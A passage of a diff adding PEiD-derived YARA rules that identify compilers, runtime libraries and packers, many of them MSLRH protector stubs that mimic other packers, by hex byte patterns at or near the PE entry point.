+        description = "[MS Run-Time Library 1992 (11)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 51 CD 21 8E DB B8 ?? ?? 83 E8 ?? 8E C0 33 F6 33 FF B9 ?? ?? FC F3 A5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01182_MS_Run_Time_Library_1992__13__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (13)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB 33 DB B8 ?? ?? CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01183_MS_Run_Time_Library_1992__14__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (14)]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 8C C0 A3 ?? ?? 83 C0 ?? A3 ?? ?? B4 30}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01184_MS_Visual_C___v_8__h_good_sig__but_is_it_MSVC___
+{
+    meta:
+        description = "[MS Visual C++ v.8 (h-good sig, but is it MSVC?)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00}
+    condition:
+        $a
+}
+
+rule PEiD_01185_MS_Visual_C___v_8__h_good_sig__but_is_it_MSVC___
+{
+    meta:
+        description = "[MS Visual C++ v.8 (h-good sig, but is it MSVC?)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00 00 01 EB 11 83 B8 74 00 00 01 0E 76 B8 33 C9 39 88 E8 00 00 01 0F 95 C1 8B C1 6A 01 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 50 FF ?? ?? ?? 00 01 83 0D ?? ?? ?? 01 FF 83 0D ?? ?? ?? 01 FF 59 59 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 A1 ?? ?? 00 01 8B 00 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 83 3D ?? ?? ?? 01 00 75 0C 68 ?? ?? ?? 01 FF 15 ?? ?? 00 01 59 E8 ?? ?? 00 00 33 C0 C3 CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01186_MS_Visual_C___v_8_DLL__h_small_sig1__
+{
+    meta:
+        description = "[MS Visual C++ v.8 DLL (h-small sig1)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01187_MS_Visual_C___v_8_DLL__h_small_sig2__
+{
+    meta:
+        description = "[MS Visual C++ v.8 DLL (h-small sig2)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01188_MSLRH_0_32a__fake__BJFNT_1_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake .BJFNT 1.3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50}
+    condition:
+        $a
+}
+rule PEiD_01189_MSLRH_0_32a__fake_ASPack_2_11d_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.11d) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+    condition:
+        $a
+}
+
+rule PEiD_01190_MSLRH_0_32a__fake_ASPack_2_12_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.12) -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01191_MSLRH_0_32a__fake_ASPack_2_12_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.12) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+    condition:
+        $a
+}
+
+rule PEiD_01192_MSLRH_0_32a__fake_EXE32Pack_1_3x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake EXE32Pack 1.3x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01193_MSLRH_0_32a__fake_Microsoft_Visual_C_______emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake Microsoft Visual C++) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01194_MSLRH_0_32a__fake_MSVC___6_0_DLL_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ 6.0 DLL) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58}
+    condition:
+        $a
+}
+
+rule PEiD_01195_MSLRH_0_32a__fake_MSVC___7_0_DLL_Method_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01196_MSLRH_0_32a__fake_MSVC___DLL_Method_4_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ DLL Method 4) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+    condition:
+        $a
+}
+rule PEiD_01197_MSLRH_0_32a__fake_Neolite_2_0_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake Neolite 2.0) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31}
+    condition:
+        $a
+}
+
+rule PEiD_01198_MSLRH_0_32a__fake_nSPack_1_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake nSPack 1.3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74}
+    condition:
+        $a
+}
+
+rule PEiD_01199_MSLRH_0_32a__fake_PC_Guard_4_xx_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PC-Guard 4.xx) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58}
+    condition:
+        $a
+}
+
+rule PEiD_01200_MSLRH_0_32a__fake_PE_Crypt_1_02_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PE Crypt 1.02) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01201_MSLRH_0_32a__fake_PE_Lock_NT_2_04_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PE Lock NT 2.04) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83}
+    condition:
+        $a
+}
+
+rule PEiD_01202_MSLRH_0_32a__fake_PEBundle_0_2___3_x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEBundle 0.2 - 3.x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02}
+    condition:
+        $a
+}
+
+rule PEiD_01203_MSLRH_0_32a__fake_PEBundle_2_0x___2_4x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29}
+    condition:
+        $a
+}
+
+rule PEiD_01204_MSLRH_0_32a__fake_PECompact_1_4x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PECompact 1.4x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A}
+    condition:
+        $a
+}
+
+rule PEiD_01205_MSLRH_0_32a__fake_PESHiELD_0_25_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PESHiELD 0.25) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04}
+    condition:
+        $a
+}
+
+rule PEiD_01206_MSLRH_0_32a__fake_PEtite_2_1_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEtite 2.1) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01207_MSLRH_0_32a__fake_PEX_0_99_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEX 0.99) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83}
+    condition:
+        $a
+}
+
+rule PEiD_01208_MSLRH_0_32a__fake_SVKP_1_11_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake SVKP 1.11) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01209_MSLRH_0_32a__fake_UPX_0_89_6___1_02___1_05___1_24_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40}
+    condition:
+        $a
+}
+rule PEiD_01210_MSLRH_0_32a__fake_WWPack32_1_x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake WWPack32 1.x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52}
+    condition:
+        $a
+}
+
+rule PEiD_01211_MSLRH_0_32a__fake_yoda_s_cryptor_1_2_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake yoda's cryptor 1.2) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01212_MSLRH_v0_1____emadicius_
+{
+    meta:
+        description = "[MSLRH v0.1 -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01213_MSLRH_V0_31____emadicius_
+{
+    meta:
+        description = "[MSLRH V0.31 -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01214_MSLRH_v0_31a_
+{
+    meta:
+        description = "[MSLRH v0.31a]"
+        ep_only = "false"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_01215_MSLRH_v0_31a_
+{
+    meta:
+        description = "[MSLRH v0.31a]"
+        ep_only = "false"
+    strings:
+        $a = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01216_MSLRH_v0_32a__fake__BJFNT_1_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake .BJFNT 1.3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01217_MSLRH_v0_32a__fake_ASPack_2_11d_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.11d) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01218_MSLRH_v0_32a__fake_ASPack_2_12_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.12) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01219_MSLRH_v0_32a__fake_ASPack_2_12_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake ASPack 2.12) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01220_MSLRH_v0_32a__fake_EXE32Pack_1_3x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake EXE32Pack 1.3x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01221_MSLRH_v0_32a__fake_Microsoft_Visual_C_______emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake Microsoft Visual C++) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01222_MSLRH_v0_32a__fake_MSVC___6_0_DLL_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ 6.0 DLL) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01223_MSLRH_v0_32a__fake_MSVC___7_0_DLL_Method_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
